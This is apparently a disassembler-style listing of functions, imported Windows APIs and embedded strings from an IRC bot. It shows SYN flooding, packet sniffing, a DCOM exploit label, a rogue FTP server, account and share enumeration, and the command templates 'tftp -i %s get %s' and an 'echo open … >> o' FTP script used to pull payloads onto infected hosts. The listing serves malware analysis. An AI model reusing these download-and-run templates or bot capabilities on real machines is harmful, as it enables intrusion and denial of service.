sub_outside():
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket
	KERNEL32.Sleep
	WS2_32.gethostbyname
	WS2_32.shutdown
	KERNEL32.GetTickCount
	KERNEL32.GetComputerNameA
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA

sub_4205F1(0126):
	KERNEL32.SetUnhandledExceptionFilter

sub_40CF32(019e):
	"%sKB"
	"failed"

sub_41E897(06bc):
	KERNEL32.GetCPInfo

sub_40C079(06cc):
	"rb"

sub_4198E4(0828):
	KERNEL32.GetVersion
	KERNEL32.GetCommandLineA
	KERNEL32.GetStartupInfoA
	KERNEL32.GetModuleHandleA

sub_41A9E4(0a41):
	KERNEL32.HeapCreate
	KERNEL32.HeapDestroy

sub_40182F(0c04):
	KERNEL32.ExitThread

	"[SUPERSYN]: Done with	flood (%iKB/sec)"

sub_4019C8(0c04):
	KERNEL32.ExitThread

sub_420D8F(0e35):
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress

	"user32.dll"
	"MessageBoxA"
	"GetActiveWindow"
	"GetLastActivePopup"

sub_40E961(0f5b):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.closesocket
	KERNEL32.Sleep

sub_4030BE(10b8):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	KERNEL32.Sleep
	WS2_32.closesocket

	"tftp -i %s get %s\r\n"
	"echo open %s %d > o&echo user	1 1 >> o "...

sub_404FF8(111a):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	KERNEL32.Sleep
	WS2_32.closesocket

	"echo open %s %d > o&echo user	1 1 >> o "...

sub_41FB9B(118d):
	KERNEL32.FlushFileBuffers
	NTDLL.RtlGetLastWin32Error

sub_405F35(1211):
	KERNEL32.GetFileAttributesA
	WS2_32.closesocket
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.CloseHandle
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep

	"\\%s"
	"%s"
	"%s%s"
	"\n"
	"*"

sub_40B398(1255):
	KERNEL32.SearchPathA
	KERNEL32.CreatePipe
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error

	"cmd.exe"

sub_40D7B8(136f):
	ADVAPI32.OpenSCManagerA
	ADVAPI32.EnumServicesStatusA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.CloseServiceHandle

	"The following	Windows	services are regi"...
	"	 Unknown"
	"	 Paused"
	"    Pausing"
	" Continuing"
	"    Running"
	"    Stoping"
	"   Starting"
	"    Stopped"
	"%s: %s (%s)"

sub_4082F7(17e4):
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.recv
	WS2_32.send

sub_4151A1(1889):
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle

sub_41EF6B(18d1):
	KERNEL32.GetModuleFileNameA

	"C:\\m_unpacker\\packed.exe"

sub_408824(1c79):
	USER32.IsWindow
	USER32.SendMessageA
	USER32.DestroyWindow

	"Window"

sub_40C330(1e61):
	WS2_32.socket
	WS2_32.htons
	WS2_32.bind
	WS2_32.getsockname
	WS2_32.listen
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	WS2_32.inet_addr
	WS2_32.htonl
	WS2_32.select
	WS2_32.accept
	WS2_32.closesocket
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	WS2_32.send
	WS2_32.recv
	KERNEL32.CloseHandle
	WS2_32.inet_ntoa
	KERNEL32.ExitThread

sub_415FE8(1e6a):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
	KERNEL32.GetLogicalDrives
	KERNEL32.GetDriveTypeA

	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
	"%c$"
	"%c:\\"

sub_416BB5(1fc3):
	KERNEL32.TerminateThread
	WS2_32.closesocket

sub_40B243(21b8):
	KERNEL32.PeekNamedPipe
	KERNEL32.GetExitCodeProcess
	KERNEL32.Sleep
	KERNEL32.ReadFile
	KERNEL32.ExitThread

sub_40747F(22a3):
	"%d.%d.%d.%d"

sub_41D2A8(22de):
	NTDLL.RtlSizeHeap

sub_40937B(234c):
	KERNEL32.OpenProcess
	KERNEL32.GetSystemInfo
	KERNEL32.VirtualQueryEx
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	KERNEL32.ReadProcessMemory
	NTDLL.RtlFreeHeap
	KERNEL32.CloseHandle

sub_405285(2484):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.htons
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"220 NzmxFtpd 0wns j0\n"
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 NzmxFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"TYPE"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"226 Transfer complete.\n"
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye happy r00ting.\n"

sub_40D2C2(24da):
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.htons
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

sub_40702C(28ed):
	WS2_32.inet_ntoa

sub_4094A8(2950):
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	NTDLL.RtlFreeHeap

sub_4150C3(2a9a):
	KERNEL32.ExitThread

sub_40E3CC(2b0f):
	KERNEL32.GetComputerNameA

sub_40E122(2bcd):
	"Username accounts for	local system:"
	"  %S"
	"Total	users found: %d."

sub_40AC30(2cf7):
	IPHLPAPI.GetIpNetTable
	IPHLPAPI.DeleteIpNetEntry

sub_402DB1(2ef3):
	KERNEL32.CreateFileA
	KERNEL32.TransactNamedPipe
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.ReadFile
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket
	KERNEL32.Sleep

sub_41ECD6(2f2e):
	KERNEL32.UnhandledExceptionFilter

sub_42067A(33c3):
	KERNEL32.GetTimeZoneInformation
	KERNEL32.WideCharToMultiByte

	"TZ"

sub_422C03(37c4):
	KERNEL32.GetStringTypeW
	KERNEL32.GetStringTypeA
	KERNEL32.WideCharToMultiByte

sub_406A71(38b7):
	WS2_32.socket
	KERNEL32.Sleep
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread
	WS2_32.htons
	WS2_32.bind
	WS2_32.select
	WS2_32.recvfrom
	WS2_32.inet_ntoa
	WS2_32.sendto
	WS2_32.closesocket

	"octet"
	"rb"

sub_40321F(3a02):
	WS2_32.htons
	WS2_32.send
	WS2_32.recv
	KERNEL32.Sleep

sub_407437(3b1d):
	WS2_32.htonl

sub_41540D(3baf):
	WS2_32.recv

sub_40AA70(3cc3):
	KERNEL32.GetTempPathA
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	KERNEL32.ExpandEnvironmentStringsA
	KERNEL32.CreateProcessA

	"%sdel.bat"
	"@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
	"%%comspec%% /c %s	%s"

sub_40A9AA(3f4b):
	KERNEL32.SearchPathA
	KERNEL32.CreateFileA
	KERNEL32.GetFileTime
	KERNEL32.CloseHandle
	KERNEL32.SetFileTime

	"explorer.exe"

sub_407D92(3fdf):
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread

sub_40586C(4036):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.connect
	WS2_32.closesocket
	WS2_32.WSACleanup

sub_404816(4089):
	KERNEL32.WriteFile

sub_4183B1(4189):
	KERNEL32.GetLocalTime
	KERNEL32.GetSystemTime
	KERNEL32.GetTimeZoneInformation

sub_416459(4448):
	KERNEL32.CreatePipe
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CloseHandle

sub_41A89C(45c9):
	KERNEL32.GetVersionExA
	KERNEL32.GetEnvironmentVariableA
	KERNEL32.GetModuleFileNameA

	"__MSVCRT_HEAP_SELECT"
	"__GLOBAL_HEAP_SELECTED"

sub_41C546(4634):
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress

	"KERNEL32"
	"IsProcessorFeaturePresent"

sub_41FAE4(4712):
	KERNEL32.SetStdHandle

sub_40B6ED(4977):
	KERNEL32.GetVersionExA
	ADVAPI32.GetUserNameA
	WS2_32.inet_addr
	WS2_32.gethostbyaddr
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	KERNEL32.GlobalMemoryStatus

	"95"
	"NT"
	"98"
	"ME"
	"2K"
	"XP"
	"2003"
	"couldn't resolve host"
	"dd:MMM:yyyy"
	"HH:mm:ss"
	"[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...

sub_415AA4(4bfa):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.inet_ntoa
	WS2_32.closesocket

sub_404DFA(4e3f):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket

	"cmd /c echo open %s %d >> ii &echo user"...

sub_41C66D(502f):
	"e+000"

sub_402B61(5105):
	"FXNBFXFXNBFXFXFXFX"

sub_41FA6D(545a):
	KERNEL32.SetStdHandle

sub_41E409(547a):
	KERNEL32.LCMapStringW
	KERNEL32.LCMapStringA
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte

sub_415208(550e):
	WS2_32.select
	WS2_32.closesocket
	KERNEL32.ExitThread
	WS2_32.recv
	WS2_32.getpeername
	WS2_32.WSAGetLastError
	WS2_32.gethostbyaddr
	WS2_32.inet_ntoa
	WS2_32.send
	NTDLL.RtlGetLastWin32Error

	"Permission denied\n"

sub_41A86F(5645):
	KERNEL32.GetModuleHandleA

sub_40B637(5868):
	KERNEL32.Sleep

sub_41B880(58ed):
	KERNEL32.VirtualAlloc

sub_401000(5910):
	KERNEL32.GetTickCount
	KERNEL32.ExitThread

sub_408C12(594b):
	KERNEL32.ExitThread

sub_40CEEA(5b85):
	KERNEL32.GetDiskFreeSpaceExA

sub_40418F(5f99):
	WS2_32.send

	"GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...

sub_422563(5fbb):
	"invalid string position"

sub_41914F(6050):
	NTDLL.RtlAllocateHeap
	NTDLL.RtlReAllocateHeap

sub_41E217(6091):
	KERNEL32.SetFilePointer
	NTDLL.RtlGetLastWin32Error

sub_4216D9(6338):
	"1#SNAN"
	"1#IND"
	"1#INF"
	"1#QNAN"

sub_40D63A(6353):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"

sub_41B197(64eb):
	KERNEL32.VirtualAlloc

sub_41F827(66df):
	KERNEL32.WideCharToMultiByte

sub_40904E(6944):
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	NTDLL.RtlFreeHeap

	"WINLOGON"
	"NWGINA"
	"MSGINA"

sub_408A63(69df):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey

	"%s\\%s"
	"r"
	"="
	"="

sub_41793B(6c37):
	NTDLL.RtlFreeHeap

sub_4075B8(6d38):
	KERNEL32.GetTickCount
	WS2_32.inet_ntoa
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep
	KERNEL32.ExitThread

	"dcom135"

sub_4166C9(6d7f):
	KERNEL32.GenerateConsoleCtrlEvent
	WS2_32.send
	KERNEL32.WriteFile
	WS2_32.recv

sub_416552(6ddc):
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error

	"cmd /q"

sub_414F16(6efa):
	KERNEL32.CreateToolhelp32Snapshot
	KERNEL32.Process32First
	KERNEL32.CloseHandle
	KERNEL32.Module32First
	KERNEL32.Process32Next
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess

	"SeDebugPrivilege"
	"SeDebugPrivilege"
	" %s (%d)"

sub_408033(729a):
	WS2_32.select
	WS2_32.closesocket
	KERNEL32.ExitThread
	WS2_32.recv
	WS2_32.send
	WS2_32.socket
	WS2_32.WSAGetLastError
	WS2_32.connect

sub_4178C7(7566):
	NTDLL.RtlAllocateHeap

sub_40ABF8(762b):
	WS2_32.inet_addr
	WS2_32.gethostbyname

sub_40B154(7918):
	KERNEL32.CloseHandle

sub_4018CB(79fd):
	WS2_32.htons
	WS2_32.socket
	WS2_32.ioctlsocket
	WS2_32.connect
	KERNEL32.Sleep
	WS2_32.closesocket

sub_405983(7af1):
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.recv
	WS2_32.closesocket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread

	"GET	"
	" "
	"\r\n"

sub_40BA67(7d50):
	WININET.InternetCrackUrlA
	WININET.InternetConnectA
	WININET.HttpOpenRequestA
	WININET.HttpSendRequestA
	WININET.InternetCloseHandle
	KERNEL32.ExitThread

	"*/*"

sub_415762(7e76):
	KERNEL32.GetTickCount

sub_40BD15(7f68):
	"-[Alias List]-"
	"%d. %s = %s"

sub_421F1A(8107):
	KERNEL32.CompareStringW
	KERNEL32.CompareStringA
	KERNEL32.GetCPInfo
	KERNEL32.MultiByteToWideChar

sub_41F88F(81be):
	KERNEL32.GetStringTypeW
	KERNEL32.GetStringTypeA
	KERNEL32.MultiByteToWideChar

sub_401D6D(8291):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread
	WS2_32.setsockopt
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.htonl
	WS2_32.sendto
	WS2_32.closesocket

	"syn"
	"ack"
	"random"

sub_40C0E9(8474):
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.connect
	WS2_32.closesocket

sub_41A3B7(84ec):
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error

sub_407A23(851c):
	WS2_32.htons
	WS2_32.socket
	WS2_32.WSAAsyncSelect
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	WS2_32.closesocket
	KERNEL32.ExitThread

sub_41AA41(8555):
	NTDLL.RtlAllocateHeap

sub_416D02(8732):
	"%s: %s stopped. (%d thread(s)	stopped.)"...
	"%s: No %s thread found."

sub_40751B(8768):
	WS2_32.socket
	WS2_32.htons
	WS2_32.ioctlsocket
	WS2_32.connect
	WS2_32.select
	WS2_32.closesocket

sub_41AAB4(87ad):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_415C62(8931):
	KERNEL32.ExitThread

sub_40DD54(893c):
	"Account: %S"
	"Full Name:	%S"
	"User Comment: %S"
	"Comment: %S"
	"Unknown"
	"Administrator"
	"User"
	"Guest"
	"Privilege Level: %s"
	"Auth Flags: %d"
	"Home Directory: %S"
	"Parameters: %S"
	"Password Age: %d"
	"Bad Password Count: %d"
	"Number of Logins: %d"
	"Last Logon: %d"
	"Last Logoff: %d"
	"Logon Server: %S"
	"Country	Code: %d"
	"User's Language: %d"
	"Max. Storage: %d"

sub_417EA0(8af0):
	NTDLL.RtlUnwind

sub_420636(8bd2):
	KERNEL32.IsBadCodePtr

sub_40BFCF(8c91):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegDeleteValueA
	ADVAPI32.RegCloseKey

sub_40D9B7(8cdb):
	KERNEL32.WideCharToMultiByte

sub_40BEA0(8d42):
	KERNEL32.ExitThread

sub_41FBF2(8dd2):
	KERNEL32.CreateFileA
	KERNEL32.GetFileType
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error

sub_40A8ED(8e50):
	USER32.OpenClipboard
	USER32.GetClipboardData
	KERNEL32.GlobalLock
	KERNEL32.GlobalUnlock
	USER32.CloseClipboard

sub_401A64(9056):
	WS2_32.WSAStartup
	WS2_32.WSASocketA
	WS2_32.setsockopt
	WS2_32.htons
	KERNEL32.QueryPerformanceFrequency
	KERNEL32.QueryPerformanceCounter
	WS2_32.htonl
	WS2_32.sendto
	WS2_32.closesocket
	WS2_32.WSACleanup
	WS2_32.WSAGetLastError

sub_4194F9(91cb):
	KERNEL32.GetFileAttributesA
	NTDLL.RtlGetLastWin32Error

sub_40DAED(935d):
	ADVAPI32.IsValidSecurityDescriptor

	"Share	name:	 Resource:		 "...
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"

sub_41EAC2(94b9):
	KERNEL32.WriteFile
	NTDLL.RtlGetLastWin32Error

sub_403A59(94d6):
	"CCCC"

sub_40ADB1(953e):
	IPHLPAPI.IcmpCreateFile
	WS2_32.inet_addr
	WS2_32.gethostbyname
	KERNEL32.ExitThread
	IPHLPAPI.IcmpSendEcho
	IPHLPAPI.IcmpCloseHandle

sub_4196B9(95ea):
	KERNEL32.MultiByteToWideChar
	NTDLL.RtlGetLastWin32Error

sub_403E2E(981b):
	WS2_32.htonl
	WS2_32.send

sub_4A3344(983f):
	KERNEL32.VirtualAlloc
	KERNEL32.VirtualFree

sub_4022B5(9a38):
	KERNEL32.GetLocalTime
	KERNEL32.GetSystemDirectoryA

	"\\"
	"ab"
	"[%d-%d-%d %d:%d:%d] %s\r\n"

sub_420BC4(9a80):
	KERNEL32.MultiByteToWideChar

sub_40C6D2(9b58):
	KERNEL32.GetSystemDirectoryA
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle
	WS2_32.recv
	WS2_32.htonl
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread

	"%s%s"
	"a+b"

sub_40E298(9bb4):
	"Invalid parameter."
	"Server name not found."
	"This network request is not supported."
	"Not enough memory."
	"The name is invalid."
	"Duplicate share name."
	"Invalid for redirected resource."
	"Device or directory does not exist."
	"Level	parameter is invalid."
	"A general failure occurred in	the netwo"...
	"The operation	is allowed only	on the pr"...
	"The user account already exists."
	"The group already exists."
	"The password is shorter than required	("...
	"An unknown error occurred."
	"The computer name is invalid."
	"Share	not found."
	"The user name	could not be found."
	"Network connection not found."

sub_416B37(9c71):
	"-[Thread List]-"
	"%d. %s"

sub_40AA4E(9dbe):
	USER32.ExitWindowsEx

	"SeShutdownPrivilege"

sub_40AF3D(9dd3):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.gethostbyname
	KERNEL32.ExitThread
	WS2_32.htons
	WS2_32.sendto
	KERNEL32.Sleep

sub_4029C8(9dfb):
	KERNEL32.MultiByteToWideChar

	"\\\\"

sub_42061A(9ed0):
	KERNEL32.IsBadWritePtr

sub_4205FE(9ed0):
	KERNEL32.IsBadReadPtr

sub_402669(a0bf):
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread
	WS2_32.bind
	WS2_32.closesocket
	WS2_32.WSAIoctl
	WS2_32.recv
	WS2_32.inet_ntoa

	"[PSNIFF]"

sub_40E48A(a1aa):
	KERNEL32.GetTickCount
	KERNEL32.SetErrorMode
	KERNEL32.CreateMutexA
	KERNEL32.WaitForSingleObject
	KERNEL32.ExitProcess
	WS2_32.WSAStartup
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	KERNEL32.CopyFileA
	KERNEL32.GetCurrentProcessId
	KERNEL32.OpenProcess
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	WS2_32.WSACleanup
	KERNEL32.DeleteFileA
	WININET.InternetGetConnectedState

	"botid"
	"%s%s"
	"%s\\%s"
	"#1#"
	"7lome"
	"#1#"
	"7lome"
	"7lome"

sub_403F52(a2f7):
	WS2_32.send

sub_406F62(a6b1):
	" %s:	%d,"
	" Total: %d in %s."

sub_41E658(a8e4):
	KERNEL32.GetOEMCP
	KERNEL32.GetCPInfo

sub_40D598(a9bc):
	ADVAPI32.OpenSCManagerA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.OpenServiceA
	ADVAPI32.ControlService
	ADVAPI32.StartServiceA
	ADVAPI32.DeleteService
	ADVAPI32.CloseServiceHandle

sub_415704(ac14):
	KERNEL32.GetTickCount

	"[bot]-"
	"%s"

sub_40A2E5(ac3c):
	"Kernel32.dll failed. <%d>"
	"User32.dll failed. <%d>"
	"Advapi32.dll failed. <%d>"
	"Gdi32.dll failed. <%d>"
	"Ws2_32.dll failed. <%d>"
	"Wininet.dll failed. <%d>"
	"Icmp.dll failed. <%d>"
	"Netapi32.dll failed. <%d>"
	"Dnsapi.dll failed. <%d>"
	"Iphlpapi.dll failed. <%d>"
	"Mpr32.dll failed. <%d>"
	"Shell32.dll failed. <%d>"
	"Odbc32.dll failed. <%d>"
	"Avicap32.dll failed. <%d>"

sub_4228C9(aeff):
	KERNEL32.RaiseException

sub_4199FF(af5c):
	KERNEL32.ExitProcess

sub_40DA89(afa1):
	KERNEL32.MultiByteToWideChar

sub_4061E4(b203):
	WS2_32.send
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FileTimeToLocalFileTime
	KERNEL32.FileTimeToSystemTime
	KERNEL32.Sleep
	KERNEL32.FindClose

	"\n"
	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\n